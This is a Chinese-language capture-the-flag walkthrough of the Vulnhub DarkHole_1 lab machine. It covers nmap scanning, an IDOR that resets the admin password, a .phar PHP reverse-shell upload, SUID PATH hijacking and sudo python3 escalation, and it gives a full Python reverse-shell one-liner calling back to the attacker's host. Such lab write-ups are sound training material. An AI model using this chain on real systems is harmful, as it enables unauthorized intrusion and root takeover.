Vulnhub實戰-DockHole_1靶機?
靶機地址:https://www.vulnhub.com/entry/darkhole-1,724/
1.描述
我們下載下來這個靶機然後在vmware中開啟就行,如果碰到獲取不到IP的情況,需要更改網路卡名稱
具體可以參考:https://www.cnblogs.com/tzf1/p/15394715.html
2.主機探測,埠服務發現
接下來我們在kali中進行主機探測,埠掃描。
nmap -sn 192.168.33.0/24
具體我怎麼知道這臺是靶機的,如果你區域網虛擬機器數量少,你排除你的手機ip,電腦ip,帶有vmware的主機就是你的靶機了,如果你跟我一樣區域網內虛擬機器開的比較多,你可以通過mac地址匹配相對應的靶機,mac地址在vm設定裡面可以檢視。
確定靶機之後,接下來我們開始埠掃描
nmap -sS -p- -v 192.168.33.240
我們發現開啟了22,80埠,說明開啟了SSH服務跟http服務,那就說明肯定存在web應用,當然開啟了SSH你也可以通過hydra去爆破SSH的賬號密碼,但是這個工程太大,據我之前的經驗大概率爆不出來,除非你能縮小範圍,不然跑個一天也不是問題,還可能跑不出來?,所以接下來我們看看web應用看看能不能收集到什麼線索。
3.web服務測試
訪問靶機IP地址:192.168.33.240,得到如下頁面:
照常我們先看看頁面有什麼功能點,到處點點,發現只有一個login登陸點,然後進入login登陸頁面看看原始碼,發現有一個register註冊頁面。
接下來進入註冊頁面註冊看看,我們註冊一個admin賬號的使用者發現提示使用者已存在,說明admin應該就是管理員使用者了,接下來我們隨便註冊一個賬號登入進去看看先。我註冊的賬號:tzf123 密碼:123123
進去之後是這樣的一個頁面,我們看看這個頁面存在什麼功能點
我們發現存在一個改使用者名稱和郵箱的點和一個改密碼的點,使用者名稱郵箱不是很重要,這個密碼嘛,改個密碼抓個包看看先。我們發現這個url存在一個id=3,post也有一個引數id=3,password就是我剛剛輸入的修改的密碼,說明id是辨別使用者的,為啥是3呢,因為再寫這篇文章之前我做過一遍測試,那個時候註冊的使用者id就是2,說明id=1應該就是管理員了,我們嘗試在post資料包處修改id=1使用者的密碼試試。
接下來我們登入admin使用者試試:
登入admin使用者我們發現多了一個檔案上傳的點,傳個php木馬瞅瞅行不行!
直接傳可以發現果然做了限制,但是它只對前端做了限制,後端好像也不允許傳php檔案,我們抓包試試把字尾php改成phar試試行不行,結果發現成功上傳,這裡我上傳的是php反彈shell的木馬,kali監聽10086埠連線shell。
木馬程式碼在這個頁面有:https://www.cnblogs.com/tzf1/p/15394715.html
然後點選File去觸發phar檔案反彈shell,頁面正常回顯,雖然什麼也沒有,但是以及觸發了,這個時候開啟kali發現已經連上shell了。
4.提權
我們開啟kali,看看當前使用者是www-data
這個時候我們嘗試提權,在 Find 命令的幫助下搜尋具有 SUID 或 4000 許可權的檔案。
具體提權詳細操作可以觀看這篇文章:https://www.cnblogs.com/tzf1/p/15408386.html
find / -perm -u=s -type f 2>/dev/null
我們發現存在這樣的一個具有suid許可權的二進位制檔案,我們進入/home/john目錄具體看看,發現toto這個二進位制檔案是有s許可權的。s許可權的具體解釋前面那個詳細提權文章有哦!或者可以自行百度。
我們還看到這個目錄下面有一個password和一個user.txt,直覺告訴我這兩個檔案有問題,嘗試讀取看看,果然不行,許可權不夠,不讓讀呀,還是老老實實提權吧!?
還是這個toto檔案,我們執行一下看看,我們發現這個toto檔案就是執行的id這個命令,只不過是以john使用者許可權去執行的id這個許可權,而我們直接執行id是以當前使用者www-data的許可權執行的id,所以看過前面那個提權文章的接下來怎麼做就知道了吧!?(如果後面看不懂的可以去前面看看哦,前面那篇比較詳細!)
接下來我們就寫一個自定義的id檔案,讓toto來呼叫我們寫的id檔案達到越權的目的
cd /tmp
echo "/bin/bash" > /tmp/id
chmod 777 id
echo $PATH
export PATH=/tmp:$PATH
echo $PATH
cd /home/john
./toto
whoami
不好意思?,剛剛忘記給id加可執行許可權了,所以圖片程式碼比較冗餘,上面程式碼順序是沒問題的。
現在我們發現此時我們就是john使用者了,達到越權了,但是還是沒有拿到root許可權,所以呢接著越?,我們先看看user.txt和password裡面有啥
我們成功在user.txt拿到第一個flag?,然後password裡面好像是john使用者的密碼,我們登入john使用者看看,比較這shell我看得是真不舒服?,沒有字首?。
ssh john@192.168.33.240
我們成功登入john使用者了,看看john能執行什麼系統許可權吧
sudo -l
這個的意思是使用者可以以root許可權去呼叫/usr/bin/python3這個命令去執行/home/john/file.py這個檔案,這個時候我們可以寫一個提權的python反彈shell到file.py這個檔案中,然後執行它。
反彈shell線上生成網站:https://weibell.github.io/reverse-shell-generator/
首先kali監聽9999埠
nc -lncp 9999
然後再靶機上面反彈shell
cd /home/john
vim file.py
輸入file.py的內容:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.33.2
13",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;
pty.spawn("/bin/sh")
sudo python3 /home/john/file.py
然後進入kali中我們可以看到已經連上shell了,此時使用者是root使用者,這個時候我們看看root資料夾下面有什麼吧,有一個root.txt,開啟成功獲取到第二個flag。
這個時候我們提權就成功了,成功拿到root許可權!?到這裡就結束啦!
當作真實事件的話,接下來大家可以改一下root密碼呀,看看root使用者執行過什麼歷史命令呀!隨大家玩啦?。當然大家還是不要做非法犯罪的事情噢!?
1.修改root密碼
sudo passwd root
su
2.檢視root使用者歷史命令
history 100
100代表檢視100條!?
3.到處瞅瞅
我們還在/var/www目錄發現了darkhole.sql資料庫檔案,在裡面發現了admin的密碼:EWIOEJIOejw@(#I(@djslKJ')
然後在/var/www/html目錄下面發現了網站的原始碼,在dashboard.php中發現了檔案上傳部分的原始碼